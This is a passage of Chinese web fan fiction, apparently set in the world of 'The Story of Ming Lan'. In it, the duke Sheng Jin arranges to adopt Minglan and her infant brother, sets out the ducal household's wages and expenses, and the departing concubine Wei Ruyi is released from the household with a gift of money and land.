盛瑾嘴角微微弯起,语气中带着一丝安抚道:“母亲与我说过你小时候的事情,我知道你是担心墨兰和长枫过得不好,但你那时候过得不好是因为父亲的不在乎,如今你才是你这一脉的主君,只要你在乎这两个孩子,那么那些个丫鬟小厮就不敢怠慢这两个孩子,再说了,将来你与我同住丰国公府,我这个当伯父的对自己府中的管理还是有些信心,我府中的丫鬟小厮们绝不会爬到主子头上的,更何况将来无论是长枫还是墨兰都是要从丰国公府出嫁娶妻的,按照你嫂嫂生前与我商议的制度来说,从丰国公府出嫁的姑娘,无论嫡庶一律贴补五千两银子置办嫁妆,至于哥儿的聘礼则是嫡子贴补六千五百两银子,庶子贴补五千两银子,这笔钱是直接从丰国公府公账出的,你也不用担心会被人克扣了。” 盛纮听着盛瑾的话,一时之间也不知道该说什么了,过了一会儿,他语气中带着一丝感动,道:“二哥有心了,我替孩子们谢过您。” 盛瑾脸上仍带着浅浅的微笑,道:“谢什么谢,我们都是一家人,你的孩子们也是我的侄子侄女嘛,我自是要关心些的,瞧着你儿女众多,二哥甚是羡慕啊!” 盛瑾说道这里,脸上带了些许忧伤道:“你嫂嫂去世的早,只给我留下一个独子,这些年我心里念着你嫂嫂也没有想过再娶其他姑娘,如今你侄子长大,离开我去谋取功名,我这些年也颇为孤单,便带着义父回扬州城来散散心,谁知来了扬州城后,你嫂嫂带着个姑娘入我梦中,起初我不以为意,就连婷儿回来说她在盛家看到一个和你嫂嫂外貌极为相似的姑娘,我也只当这世间长得像的人不少,没成想我们尽然是一家人,况且那日我见明兰时发现她与我梦中的那个小姑娘长得一模一样,一时之间我竟觉得这是你嫂嫂安排好的,她生前就常说若是能再得个女儿就好了。” 盛纮听到这里脑子还没转过来,而白老爷被白滢婷提前告知后,自是知道自己的义子为什么演这一出戏,于是他极其配合的面带哀色,道:“瑾儿说的是啊!媳妇是再好不过的人了,可惜啊!要不是她身子弱,没准真能如愿呢。” 白老爷在心里是站在盛瑾和白滢婷这一边的,再说了,盛纮的宠妾害得盛瑾晕倒后,盛纮居然还想保住她,这简直是在他的雷区蹦哒,以至于他全然没有帮自己儿女抢盛纮儿女的愧疚感,毕竟在他眼中盛纮的宠妾是因为背后有盛纮撑腰才敢做出这样的事情,害得他的义子昏迷了几天,盛纮赔自己义子两个孩子咋了,更何况刚刚他就看出来了相较于卫如意的一双儿女,明显盛纮更在乎林噙霜的一双儿女。 在白老爷看来这两个孩子没准待在盛瑾身边都比待在盛纮身边好,不知道白老爷是否知道双标这个词,此时他正完美的演绎了这个词。 盛纮看着面露哀伤的盛瑾和白老爷,也不知道如何安抚,好在没一会儿盛瑾开口道:“我想要将明兰过继到我与你逝世的嫂嫂名下,而明兰的弟弟则是过继给大哥传承香火。” 盛瑾和白老爷看着盛纮整个人僵在原地,久久没有开口,便安静的等待着盛纮从这个震惊的消息中回过神来。 第 38 章 白家大厅内传出一声惊呼声,仔细一听就能知道是盛纮的声音 ,只见盛纮吼道:“什么,二哥你要过继明兰,还要为大哥过继卫小娘的儿子。” 盛瑾只觉得自己的耳朵被盛纮的声音震得发痒,心里不由自主的开玩笑道:“这盛纮好歹也是扬州通判,大大小小的场面也见过不少,怎么一副没有见过世面的样子。” 盛瑾脸上流露出一丝哀伤,道:“唉,瞧弟弟这样是我多言了,可怜你嫂嫂就这一个心愿也无法满足啊!到底是我无能,算了,以后她再入我梦中时,我再与她好好说道说道吧,绝不让弟弟难做。”谁说只有女人才会茶言茶语,男人也能将茶言茶语运用得当。 盛纮瞧着盛瑾堂堂少师居然有如此落寞的样子,眼中闪过一丝不忍,又怕因这事情与盛瑾产生隔阂,急忙开口道:“二哥,我不是这个意思,我只是惊讶罢了,这过继子嗣乃是大事,我惊讶一下也是人之常情吧,再说了,若是真要给大哥过继男嗣,那也要给我点时间去整理一下盛家的家产好重新分配啊!” 盛瑾也听出盛纮最后那句中暗含不甘,毕竟他对盛纮有利可图,将盛家家产分与他,盛纮不会心有不满,但是一个逝世的大哥对盛纮又没有什么可牟利之处,他自然是不愿意将原本能得到的二分之一的家产变成三分之一。 盛瑾猜的八九不离十,本来盛纮就因为林噙霜的事情对卫如意产生了一丝厌恶,连带着对她的一双儿女也没有多大的好感,如今卫如意刚出生的儿子要与他抢夺自己的家产,他又如何能对这刚出生的婴儿产生喜爱,更何况这个孩子是要过继出去了,即使是自己的亲生儿子,在过继后也不属于他这一脉了,此时的盛纮还没反应过来这件事情完全可以只过继盛明兰的,可惜,盛瑾也不会给他反应的机会。 盛瑾脸上带着一丝微笑,语气中带着一丝喜悦,道:“这么说你是同意的,二哥替你嫂嫂谢谢你了,你都为我们做了这么大的事情,我怎么好意思再和你重分家产呢,再说了,这些年你为了盛家做了不少的努力,盛家的家产理应是你的,至于大哥的子嗣就不用你操心了,我会扶养他长大成人,也会给他置办家产,娶妻生子,没准以后他相看妻子时还需要你这个叔父为他参谋参谋。” 盛瑾最后一句虽然是以玩笑的语气说出来的,但盛纮还是能听出他的意思,这两个孩子以后是真成了自己的侄子侄女了,不过,他向来是极少去卫如意那里的,就算是卫如意怀孕也没有因此对她有多少感情,更别提对盛明兰和她刚生的哥儿有什么过多的喜爱了,但到底舍出去了一双儿女,他还是有点心疼的,过了一会儿,他才缓缓开口,说着客套话,道:“能成为大哥和二哥的孩子也是他们的荣幸。” 盛瑾看着眼前有点沉默的盛纮,上前拍了拍他的肩膀,道:“这件事情到底是二哥对不住你,等你到汴州入住丰国公府后,你这一房的开销走府公账,直到你这一房搬离丰国公府为止。” 盛纮闻言,瞳孔微微睁大,急忙道:“二哥,不可,不可,我已经得了盛家全部家产,那能再让二哥养着我这一房呢,还是将两房的开销分开吧,我这一房自费开销。”他可不想因为这件事情在盛瑾心中留下个贪慕钱财的形象。 盛瑾听到“开销分开”时,只觉得心中一片好笑,心想:“我这庶弟啊!他还真是不通庶物啊!居然没想过两房开销上差距过大的问题。” 盛瑾眼中闪过一丝笑意,道:“二弟,你知不知道我府中的丫鬟小厮月钱是多少呢?如果住在一起,单单就月钱这一事上,长此以往下去,盛家的下人和国公府的下人之间必出矛盾。” 盛纮因着有盛家家产伴身,心里多少有些自负,但想着要给盛瑾几分面子,于是他脸上的表情没有多大变化,询问道:“二哥,府中的月钱是多少呢?” 盛瑾见盛纮这么问了,也就一五一十的为他解答道:“这个要看情况来算,一等女使的月钱为三两,每年额外补贴七两,二等女使和看家护院的家丁的月钱为二两,每年额外补贴五两,三等女使的月钱为一两,每年额外补贴三两,四等女使和婆子的月钱为五百文,每年额外补贴一两,另外像你和弟妹用惯的贴身仆人的月钱为五两,每年额外补贴九两,而像母亲身边的房嬷嬷的月钱为七两,每年额外补贴十二两,当然像一、二等女使的名额并不多,如母亲有六个一等女使的名额,而弟妹这种大娘子身边有四个一等女使的名额,至于家中哥儿姑娘们每人身边最多有两个二等女使的名额,除此之外还有主子们的月钱,母亲的月钱为三十两,大娘子的月钱为是二十两,你我应个景,月钱为二十七两,嫡子的月钱为九两,嫡女的月钱为七两,小辈们结婚未搬出府去,那他们夫妇二人的月钱一共为三十两,不过我这一脉都不让纳妾,所以没有考虑到庶子和妾侍的月钱。” 盛瑾说到这里时,盛纮脸上有些微微发热,好在盛瑾没有停顿多久,便再次开口道:“这样吧,嫡女和庶女的月钱一样,嫡子和庶子的月钱一样,妾侍的月钱为五两,当然除了月钱外,家中的丫鬟小厮每年要制两身衣服,过年时还要每人发一个月的月钱为赏钱……” 盛纮听得天花乱坠直到过了好一会儿后,才听到盛瑾缓缓说出一个大概的数字,道:“两房主子加上丫鬟小厮的月钱一年支出在六千两左右,这还不算其他的一些东西,如姑娘们的胭脂水粉衣裳首饰和哥儿们的文房四宝衣裳之类等都是走公账购买,当然,若是各房想要贴补姑娘或是哥儿,那就自己出钱,我不反对。” 盛纮瞪大眼睛,他没想到光是月钱的支出每年就有六千两,这还没算上其他支出,他默默的咽了口口水,心想:“这国公府一年的开支至上一万两,天爷啊!我这二哥未免也太有钱了吧。”此时他深刻的体会到了为什么汴州城的人会说盛国公富得流油了。 盛纮听着盛瑾的各种报账之后,便收起了自己负责自己这一房开销的想法,接着急忙道:“当然,二哥,这些已经足够了,若是还有其他的,自是我这一房自己掏银钱的,那能再让二哥贴补呢,这实在是让二哥破费了。” 盛瑾对着盛纮微微一笑,语气中带着一丝亲近,道:“那里的话,该是我和你逝去的嫂嫂谢谢你才对,等华儿她们出嫁,我定会替你逝去的嫂嫂给她们添妆以表谢意的。” 盛瑾接着又和盛纮嘘寒问暖了好一会儿,那兄友弟恭的场面,不知道的还以为盛瑾和盛纮之间的兄弟情有多深呢,尤其是一旁的白老爷也洋装一副感动的样子,过了好一会儿后,盛瑾和白老爷一起将盛纮送出去,目送盛纮的马车离开了白家后,他们便回到了书房。 白老爷一回到书房就放下了所有伪装,他眼中闪过一丝嬉戏,道:“瑾儿,你这演技属实是不错啊!” 盛瑾看着白老爷,嘴角微微弯起,语气中带着一丝调笑的意味,道:“彼此彼此,义父的演技才是点睛之笔呢,要不然,我们怎么可能这么顺利的让盛纮同意过继的事情呢,瞧着义父和我还是有几分当土匪的资质,当然是动嘴的土匪。” 白老爷忍不住翻了个白眼,心里暗暗吐槽道:“瑾儿真是的,自己都如此正经,还好意思说轩哥儿的不是,我看轩哥儿八成是和他学的,那盛纮和他比起来简直是一个纯白无辜的羔羊。” 盛瑾看着白老爷的样子就知道他在心里吐槽自己,不过他也不在乎,他接着道:“这件事情还需要婷儿在卫小娘离开之前,去盛家和卫小娘好好说说。” 白老爷听到盛瑾提起卫如意,眼中闪过一丝担忧,道:“怎么,难不成你担心卫小娘和林小娘一般也不愿意离开盛家,但盛纮作为一家之主,若是他下了决定,卫小娘是不可能不离开盛家的。” 盛瑾如同白老爷先前一般翻了个白眼,道:“义父,你真当盛纮是金银珠宝啊!他又不是什么香锅锅,卫小娘为什么要非他不可呢,再说了,就连林小娘都是冲着盛纮的身份钱财去的,我怀疑义父你还沉浸在刚刚的演技中而丧失了基本认知能力,我让婷儿去是为了让卫小娘安心离开盛家,毕竟盛家能让她牵挂的也只有她的两个孩子了,顺便给卫小娘送些东西,她到底与这两个孩子有生恩。” 白老爷虽然听不懂盛瑾话中一些词的意思,但大抵上还是知道盛瑾的意思的,他想了想之前打探到的有关卫如意的信息,点了点头,道:“那就让婷儿明天去盛家拜访吧,毕竟卫小娘是要离开盛家的人,盛纮不一定会将过继孩子的消息告诉她,处理好她也能让孩子们对我们的抵触少些。” 盛瑾也没有再说什么,而当白滢婷得知这个消息后也爽快的接下了这个任务,另一边的盛家王若弗的院子传出一声惊呼。 王若弗瞪大双眼看向盛纮,眼里充满了不可思议,道:“官人,你莫不是斗我玩呢,这名满天下的盛国公怎么可能是母亲的嫡亲儿子呢?你之前不是说母亲唯一的儿子早被妾侍害死了嘛,这又是打哪冒出来的啊!” 盛纮看着王若弗一副怀疑的样子,便耐着性子将之前白老爷告知他的事情一五一十的与王若弗说了,等盛纮说完后,王若弗一只手拿着帕子放在胸前,道:“乖乖,我的天爷啊!没想到母亲和盛国公还有这番如话本般的经历啊!” 盛纮端起茶杯喝了口茶,语气中带着一丝感慨道:“谁说不是呢,我也实在没想到我们盛家还能和盛国公攀上关系啊!” 王若弗还没惊讶多久,脑海中闪过一个念头,如今盛瑾成了盛纮的嫡亲兄长,那么林噙霜会不会就此逃过惩罚呢。 王若弗一想到林噙霜可能就此翻身,这心里就恨得牙痒痒,她不断的在心里安抚自己道:“不会的,就是盛国公不说什么,老太太和端淑县主也不可能放过林小娘那个贱人的。”可她又想到了盛纮平日对林噙霜的疼爱,一时之间竟拿不定盛纮的注意。 王若弗看了一眼心情还算不错的盛纮,试探性的询问道:“官人,既然盛国公已经醒了,那林小娘如何处置呢?” 盛纮一听到王若弗提起林小娘,他的心情瞬间从晴天变成多云,脸色也有些微沉,他语气中带着一丝倾述的意味,道:“这次可苦了霜儿,二哥对逝世的嫂嫂情根深种,霜儿干的事情触及二哥的底线,二哥说什么也不愿意让霜儿与他同住一个屋檐下,我只能将霜儿送往庄子上居住了。” 王若弗听着盛纮的话,心里对盛纮可没有一丝共情,反倒是对林噙霜的遭遇拍手叫好呢,不过,她一时之间智商上线,抓住了盛纮话中的另一个关键点,问道:“官人,什么叫做同住一个屋檐下呢?” 盛纮看了一眼王若弗,想起自己还没告诉她有关合府居住的事情,便给她省略性的讲解了有关他和盛瑾商量的合府居住事宜。 正当王若弗还没从这个惊天大消息中走出来呢,盛纮又给她扔了个小型炸弹,道:“对了,你派人去联系卫小娘的亲人,说我要给卫小娘放妾书,让他们来接卫小娘回去,另外二哥要过继明兰当女儿,还要给逝世的大哥过继卫小娘新生的哥儿。”因着这些天他都在当心盛瑾的事情,一时间忘了给新生的哥儿取名,如今想来正好,到时候让盛瑾和盛老太太去给新生的哥儿取名。 王若弗对于卫如意和她一双女儿的事情并不在意,这还没有前两个消息对她而言更重要呢,她微微张大嘴巴,有些急促道:“什么,我们还要和母亲住在一起,不是,母亲已经有二哥了,我们就不用和母亲二哥一同居住了吧,更何况我们在汴州城也不是没有宅子。”她可不想和盛老太太一起住了,尤其是她们一家子住到丰国公府去,那不是以后更要看盛老太太的脸色生活了。 盛纮看着王若弗这样,顿时觉的她鼠目寸光,又想到林噙霜的浓情蜜意,心里泛起了一丝怜惜,他看了一眼王若弗,想着她与林噙霜不对付,便觉得将林噙霜送到庄子的事情不能让她全权负责,要不然她非的磋磨死林噙霜不可。 盛纮一想到有这种可能性,心里就对王若弗升起一丝不耐烦和火气,他语气有些冲,道:“嫡母还在世,哪有分府别居的道理,你说这话若是让外人听见了,只当你是不想孝顺嫡母呢,瞧瞧你这样子,怪不得管不好后宅,霜儿的事情就不用麻烦你了,我早已为她选了一处扬州城外不远的庄子,你让丫鬟小厮去打扫好便是,对了,你在给霜儿选一个丫鬟陪她一同去庄子上伺候她吧,另外找人看住庄子,只要霜儿不出庄子,其他的就由着她来。” 盛纮虽然怜惜林噙霜,但还没有怜惜到脑子进水的地步,他想着林噙霜身边的丫鬟是不能送去陪她的,而且还要让东荣打林噙霜二十棍,他现在想到当初他在盛瑾那边多次出言维护林噙霜,多少还是会让盛瑾和他产生一些隔阂的,如今在外人面前装装样子,也好让其他人和盛瑾知道他还是在乎、尊重盛瑾这个嫡兄的。 盛纮想到这里,接着道:“你现在就去准备吧,过几日便将霜儿送到庄子上去,对了,在霜儿被送走前莫要让墨儿枫儿知道这件事情,这些日子你给我照顾好墨儿和枫儿,等霜儿被送到庄子上后,枫儿便搬去和柏儿一起住,墨儿便搬来和如儿华儿一起住。”他说完便拂袖离去,不再看王若弗一眼,这把王若弗给委屈的不行,过了好一会儿才将刘妈妈叫进来,吩咐她去办盛纮交代的事情。 王若弗对于这些事情的忍耐性不超过一天,等到了将近黄昏时,她便让刘妈妈去拉来了盛华兰,对着盛华兰和刘妈妈就是一顿倾述,直到王若弗说的口干舌燥时才将一切都说完了,她端起桌上的茶水一饮而尽,看着眼前还没从惊讶中缓过神来的盛华兰和刘妈妈,眼中闪过一丝得意,道:“惊讶吧,我当初听到你父亲说的时候也是这一副表情。” 盛华兰从小就聪慧,又是盛老太太带出来的孩子,没一会儿,她回过神来便从王若弗的讲述中猜出事情的经过及其背后的好处,她拉着王若弗,眼中闪过一丝笑意,道:“母亲,这是我们盛家的好事,何该母亲 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王若弗因着盛华兰的话,开始回味过来今天盛纮和她说的话中隐含的意义,她眼中闪过一丝愤怒,道:“林噙霜都敢干出如此胆大包天的事情了,你父亲居然还想包庇她,真是被那狐媚子迷了眼了吧,瞧瞧,到现在他都没有想过这些个事情都是他宠妾灭妻惹出来的,他这是忘了他刚知道林噙霜惹事时的担惊受怕了,他也不想想,若不是这件事情突然出现转折,那他可有的受了。” 王若弗说到这里,气不打一处来继续道:“若不是盛国公成了他的嫡亲兄长,就冲盛国公在我们家发生的事情,端淑县主就能把我们盛家给吃了,那轮得到我们上门解释啊!我看就要让盛国公给他狠狠教训一顿,才能让他清醒。” 盛华兰看着一脸气愤的王若弗,脸上带着淡淡的笑意,道:“母亲,你又在说笑了,怕是到时候盛国公训斥父亲时,你又要心疼父亲了。” 刘妈妈附和道:“大姑娘说的是啊!大娘子你是最在意主君的人了,再说,主君还是有分寸的,这不就要把林小娘送到庄子上了嘛。” 盛华兰点了点头,道:“母亲,刘妈妈说的是,一个国公爷的哥哥和一个不能给他带来任何助力的妾氏,孰轻孰重,父亲心里清楚着呢,这也能看出与林小娘相比,在父亲心中盛家更为重要。” 盛华兰说到这里,顿了顿,眼神中闪过一丝慎重,道:“不过,母亲,盛国公帮我们送走了林小娘,又让我们一家入住丰国公府,我们理应投桃报李对卫小娘的一对儿女好,毕竟盛国公要给他和逝世的大伯父过继卫小娘的一对儿女。” 王若弗听着盛华兰的话,不以为意道:“瞧你说的这般严肃,不过是过继个孩子,盛国公一个男子能对一个姑娘上心到什么程度,不过,你说这卫小娘平日里是烧了什么高香啊!居然还有这等子运气,女儿居然过继给了国公爷。” 盛华兰看着王若弗这般不以为意的样子,眼中闪过一丝无奈,道:“母亲,你莫要这般不放在心上,盛国公对盛国公夫人情深义重是满汴州城都知道的事情,而盛国公后宅又只有已逝的盛国公夫人一个女子,若是要过继子嗣,那只能是过继到已逝的盛国公夫人名下,这从小养到大的和那些只是为了名声好听的记名可不一样啊!再说了,您之前不是说端淑县主因着明兰的外貌酷似已逝的盛国公夫人对她十分喜爱,这难保盛国公就不会因为这个原因而对明儿爱屋及乌呢。” 盛华兰说到这里,脸上带着一丝笑意,道:“明兰从过继给盛国公开始就不在是庶女的身份了,她的母亲是已逝的盛国公夫人,那可是一品诰命夫人呢,而明兰肯定也要由祖母亲自教导养育长大,父母是国公夫妇,祖母是勇毅侯府独女,兄长是六元及第的状元,这可是我们盛家最尊贵的姑娘了,等明兰及笄后,出门参加宴会又有哪个敢小瞧了她去。” 王若弗尽管心里认可盛华兰的话,但她嘴上还是逞能,道:“就算这样又如何呢,明兰这丫头即使飞上枝头变凤凰,也改变不了她生母是妾侍的事实嘛,难不成你们还要我给她俯首做小不成。” 盛华兰听着王若弗这颠倒黑白的话,心中对王若弗掀起了一丝无力感,但她很快调整心态,脸上的表情也变得严肃起来,道:“母亲,莫要曲解我的意思,我何时让您去给明兰俯首做小了,我只是让您对明兰姐弟好些,今时不同往日了,您不能再因着明兰姐弟是爹爹的庶子而对她们不管不顾,既然盛国公已经发话说要过继明兰姐弟,那明兰姐弟以后的身份定是嫡出,我不求您像对待我和如儿一般对待明兰姐弟,但是您能不能将明兰姐弟当成侄子侄女一般对待,从父亲的话中不难听出祖母和盛国公对两个孩子的重视。” 刘妈妈也在一旁附和道:“大娘子,您忘了端淑县主曾难产的事情了嘛,这盛国公当初为了个义妹一度和宁远侯府关系紧张到要老死不相往来的地步,这尚且是个没有血缘关系的妹妹呢,六姑娘和七哥儿还与盛国公有些血缘关系,而且六姑娘还是他要过继的女儿呢。” 王若弗听着刘妈妈的话才想起好久以前,她曾从娘家人那听到的这件事情,当时她的母亲王老夫人还感慨道:“盛国公夫妇对这个义妹真是疼爱入骨啊!”这时的她才反应过来盛瑾这个人不能以一般人的标准去评判,心里不由得涌起一丝害怕,更何况她心里比谁都清楚,就算她再怎么不爽,只要盛明兰在族谱上过继给了盛瑾夫妇,那么按照礼法来说盛明兰就是盛瑾夫妇的嫡长女。 王若弗沉默了一会儿,语气中夹杂着一丝无可奈何,道:“好,我会改变自己对明兰姐弟的态度。” 盛华兰看着王若弗这样有些心疼,随即拉着她的手安抚道:“母亲,其实这没有什么好纠结的,卫小娘要不了多久就要离开盛家了,而明兰姐弟是要过继出去的,这后宅除了祖母,没有那个女子能爬到您的头上作威作福的,就算是我们一家搬进丰国公府也是一样的。” 盛华兰说到这里,语气中带着一丝调笑,道:“再说了,这明兰姐弟过继出去和入住丰国公府也是有好处的,就例如省钱,毕竟我们住丰国公府的一切开销是走的丰国公府公账。” 王若弗闻言,灵光一闪,心里暗暗道:“对啊!这明兰姐弟过继出去了,那以后盛纮的家产就少分一份了,还有明兰的嫁妆也省了,更何况入住丰国公府后,他们这一房最大的生活开销也被盛国公给承包了,这样一年省下来的大笔银钱能给华儿如儿置办更丰厚的嫁妆了。” 王若弗这么一想心里就好受多了,对着刘妈妈吩咐道:“你去库房拿几匹上好的锦缎给卫小娘送去,另外你去看看卫小娘院子里还缺些什么,给她们补齐了。” 盛华兰听着王若弗的话,心里松了口气,而刘妈妈则是以最快的速度完成王若弗布置的任务,但突如其来的待遇属实是将卫小娘吓了一跳,她不知道王若弗是那根筋搭错,突然对她这么好,不过隔天就有人来给她解惑了。 第 39 章 清晨,盛家卫如意的院中,卫如意看着突然到访的白滢婷,心里对白滢婷此行的目的毫无头绪,毕竟她一个正六品通判的小妾有什么资格让县主亲自登门拜访,要知道白滢婷即使再喜欢盛明兰也没有越过王若弗来见卫如意的。 卫如意将白滢婷迎进屋后,微微低着头,对着白滢婷行礼,语气恭谨,道:“妾卫氏见过端淑县主。” 白滢婷用眼神打量着卫如意,心里暗叹道:“不愧是王大娘子精心挑选过的,容貌堪称绝色,比起嫂嫂来也没差多少。” 白滢婷脸上扬起一抹笑容,语气中带着几分亲近的意味,道:“卫小娘,你这还没出月子,快坐下吧。” 白滢婷说完后便自顾自的坐下来,没办法,她看卫如意那个样子,如果她不坐下,卫如意也不会坐下的,等卫如意坐下后,她拿着手中的扇子扇了扇,道:“这次冒昧来访,还希望卫小娘不要见怪啊!” 卫如意听着白滢婷的话,脸上恭谨的表情没有丝毫变化,道:“县主说笑了,你能来是妾身的荣幸。” 白滢婷看着卫如意从头到尾都是一副恭谨的样子,突然明白了为什么卫如意不受盛纮喜爱了,太过于恭谨顺从,但是这些与她没有多大的关系,想着她此行的目的,她嘴角微微弯起,似是无意道:“怎么没看见明兰呢?” 卫如意听着白滢婷的话,下意识的以为白滢婷此行的目的是看盛明兰,心里松了口气,道:“明儿今早去大姑娘那了,恐怕一时半会还回不来,若是县主急着见明儿,我这就叫人去找她。” 白滢婷通过卫如意的话,不难判断出盛纮没有将盛瑾是他哥哥的事情散播开来,不过她也不难猜出盛纮的想法,这盛瑾还没正式拜访,他若是大张旗鼓的到处宣扬,恐怕对他在外的形象有所损失,就连王若弗再怎么忍不住也只是告诉了刘妈妈和盛华兰。 白滢婷想了一会儿,将手中的扇子放下,对着卫如意直接开门见山道:“不用了,我今天不是来见明兰的,而是来见你的,不知卫小娘你是否知道盛家对你的处置呢?” 卫如意不明白白滢婷为什么突然关心起她来,但还是老老实实的回答道:“主君主母还未曾告知。”毕竟王若弗昨天才知道所有的事情哪来得及告诉卫如意处罚结果,更何况林噙霜才是她最大的敌人,当然是先抓紧办好林噙霜这边的事情,争取早点将林噙霜送走,免得夜长梦多,而且卫如意平日里十分恭谨,再加上顾忌这盛明兰姐弟被过继的事情,慢慢处置卫如意也不会出什么意外,因此,卫如意什么都不知道。 白滢婷端起茶杯,喝了一口茶,将所有的事情简短,道:“盛老太太前不久发现我义兄盛国公是她亲生儿子,如今已经相认,林小娘作为庶子的妾侍竟敢气晕嫡兄,本来是要将她赶出盛家的,但盛通判顾念其生的一双儿女年幼,向义兄求情转而将她送往庄子上,然而她中间会不会有其他处罚,我就不得而知了,至于你卫小娘虽是无辜的,但到底是不能留在盛家了,盛通判到时候会给你一封放妾书,让你亲人接你回娘家。” 卫如意听着白滢婷的话,脸上的表情没有任何变化,她本以为自己会被下放到盛家乡下的庄子里,一辈子都不能回到盛家了,没曾想峰回路转,居然能得一份放妾书回娘家,这对她而言已是极好的结果了,毕竟盛家对于她而言是个是非之地,能离开盛家是她求之不得的事情,只是她这心里实在是放不下她的一双儿女,可是她沉默了一会儿后,心里产生了一丝疑问,为什么白滢婷堂堂一个县主要亲自来告诉自己这些事情呢,她抬头看了一眼白滢婷,直言道:“县主此行的目的不止是告诉我这些事情吧。” 白滢婷看着卫如意,脸上带着淡淡的笑意,道:“卫小娘果然聪慧过人啊!不过这也没什么好瞒着的,我哥哥近日常梦到嫂嫂带着个小姑娘,直到那日瞧见明兰与梦中那个姑娘长的一模一样,哥哥昏迷这几日又想起嫂嫂在世时常说若能再得个女儿便好了,于是哥哥起了过继明兰的心思,又想着早夭的大哥还没有子嗣传承香火,便一同将明兰的弟弟过继到大房名下,这些已经和盛通判商量好了,只等回宥阳老家上族谱了。” 卫如意心中无比震惊,不过她很快就回过神来了,毕竟她自幼随父亲读书习字,该懂的礼法都懂,自然知道这庶子女的身份比不过嫡子女的身份,若是她的儿女过继出去,那就是嫡子女了。 卫如意知道盛老太太嫡长子早夭,若是过继子嗣,那这个被过继的孩子身份堪比嫡子女,再说了,这个孩子是为盛老太太大儿子传承香火的,定是要养在盛老太太膝下,又有盛瑾这个嫡亲二伯父照看,将来无论是成家还是立业,盛瑾和盛老太太都不会亏待了他,这样她就可以不用担心自己儿子未来在盛家的日子了。 至于盛明兰就更不用担心了,卫如意虽然对盛瑾没有多少了解,但名满天下的盛国公是一个痴情种的事情,她还是知道的,盛国公的后宅只有已逝的盛国公夫人一个女子,既然是盛国公自己要过继自己的女儿,那就一定是记在这位一品诰命夫人名下,这可是实打实的嫡长女身份,再加上女子向来是由家中嫡母照顾最好,可盛国公夫人已经去世多年,无法教养她的女儿,那最后教养她女儿的只能是盛老太太,勇毅侯府嫡女教养长大又有着无比尊贵的国公之女身份,还有一个六元及第的嫡长兄,以后谁也不会为难自己的女儿。 卫如意这么想着,心里突然升起一丝庆幸来,这对于她、对于她的一双儿女而言都是最好的结果了,她满眼感激的看着白滢婷,道:“能入得了盛国公、老太太、县主的眼,这是他们的荣幸,我替她们感谢盛国公、老太太、县主。”说着卫如意当即跪下给白滢婷磕了个头,表示谢意。 白滢婷被卫如意突如其来的动作惊呆了,没一会儿,她回过神来,起身扶起卫如意,道:“你行此大礼可把我吓一跳了,这件事情说到底,还是我们要谢谢你,谢谢你愿意让我们养育这两个孩子。” 白滢婷能从卫如意的行动中看出她对盛明兰姐弟的在乎,还有对盛纮及盛家的不在意,她在心里暗暗感慨道:“这卫小娘对盛通判还真是没有什么感情啊!” 不过说真的,盛纮对卫如意也没有多少感情,但他若是知道卫如意也对他无意的话,他八成会心里破防,毕竟以他的自我认知中他的女人们多多少少都应该对他有些感情的,而盛瑾若是知道盛纮的想法,八成会忍不住在盛纮伤口上散把盐,道:“你个大猪蹄子,谁离开谁会过不下去呢,真当地球是围着你转嘛,白日做梦吧。”可惜这件事情他们谁都不知道啊! 白滢婷将卫如意扶到椅子上坐下,用眼神示意一旁默不作声的常嬷嬷将一个盒子端到卫如意面前,然后亲手将盒子放桌子上,道:“这里面有哥哥为你准备的三千两银票、一间扬州城的铺子以及附近一百亩水田,除此之外,我还给你添了些首饰布匹。” 卫如意刚开始是看到这些东西的,她原以为这些都是给盛明兰准备的,毕竟白滢婷每次见完盛明兰都会送些东西,没曾想是给她自己的,她刚要开口拒绝,可白滢婷继续开口道:“你莫要拒绝我与哥哥的好意,你这些年在盛家也没有多少积蓄,留着这些东西无论是回娘家生活还是再嫁都有银钱铺子田产伴身,我说就不好听的话,你也不想身边亲近之人再出现因银钱而卖身为妾的事情吧。” 卫如意听着白滢婷的话,拒绝的想法戛然而止,她不得不承认白滢婷的话是对的,有一大笔银钱和田产铺子伴身于她而言是有益的,至少能让她在离开盛家后仍然过着衣食无忧的生活,甚至比在盛家的生活更好,过了一会儿,她才缓缓开口道:“那就谢过县主和盛国公的好意了。” 白滢婷见状,眼中闪过一丝笑意,道:“这就对了,卫小娘,这些东西你就不用再想着给明兰和新生的哥儿留些了,为了让你放心些,我索性告诉你,明兰的弟弟既然过继给了老太太的大儿子,那他以后就是哥哥嫡亲的侄子了,哥哥已经和盛通判说过了,他会给这个孩子找媳妇、置办家产的,至于明兰你就更不用担心了,我嫂嫂去世前曾留下话,若是哥哥以后再有子女,她嫁妆中的一成就分给这些哥儿姑娘当聘礼和嫁妆,以全了与哥哥的一番情义,瞧着哥哥给嫂嫂守了这么久,恐怕以后也不会再娶什么姑娘了,嫂嫂嫁妆中一成大概率都是明兰的,等明兰成婚时,我也会给她备上一份厚厚的添妆,这还不算上老太太哥哥以及其他人的,你就放宽心吧,这两个孩子既然是我们自己想要过继的,那定会待他们如亲生一般。” 白滢婷的话让卫如意对两个孩子未来的担忧消失了一大半,不得不说,有时候钱确实能给人带来一定的安全感,卫如意心里不由自主的想道:“如今一切都已经安排好了,只剩下小蝶了。” 卫如意想着一心一意为自己的小蝶,起身对着白滢婷行了一礼,语气恢复到刚开始那般恭谨,道:“妾身房中有一忠心耿耿的女使名为小蝶,等妾身离开后,能否让小蝶继续伺候明儿,这也是妾身仅有的一个请求了,还望县主能够答应。” 白滢婷看着卫如意一脸恳求的样子,心中不由得感慨道:“这卫小娘真是有情有义啊!临走时还不忘安排好自己的心腹以后的路。” 白滢婷脸上的表情没有丝毫变化,道:“当然可以,既然她对你忠心耿耿,那想来以后也会对明兰忠心耿耿的。” 卫如意闻言,心里松了一口气,她脸上的表情真诚了几分,语气中带着一丝感激,道:“我替小蝶谢过县主。” 白滢婷笑了笑,又拉着卫如意说了一会儿话便离开了,毕竟她和卫如意已经聊的够久了,再聊下去恐怕王若弗那边会多想。 卫如意没有将白滢婷送出盛家,毕竟盛家如今的状态,她还是安安静静待在自己院子中比较好。 临近下午时,小蝶带着盛明兰回到卫如意的院子,跟着回来的还有王若弗塞过来的两个丫鬟,卫如意眼中闪过一丝惊讶,道:“小蝶,这两个是怎么回事呢?” 小蝶身边的两个丫鬟有些不知所措,而小蝶则是一脸笑意,道:“小娘,我们在大姑娘那里碰巧遇到大娘子了,大娘子听说我们院中只有我一个人伺候着,便又给我们院里派了两个三等女使帮忙,对了,小娘屋里这些布匹是怎么回事呢?” 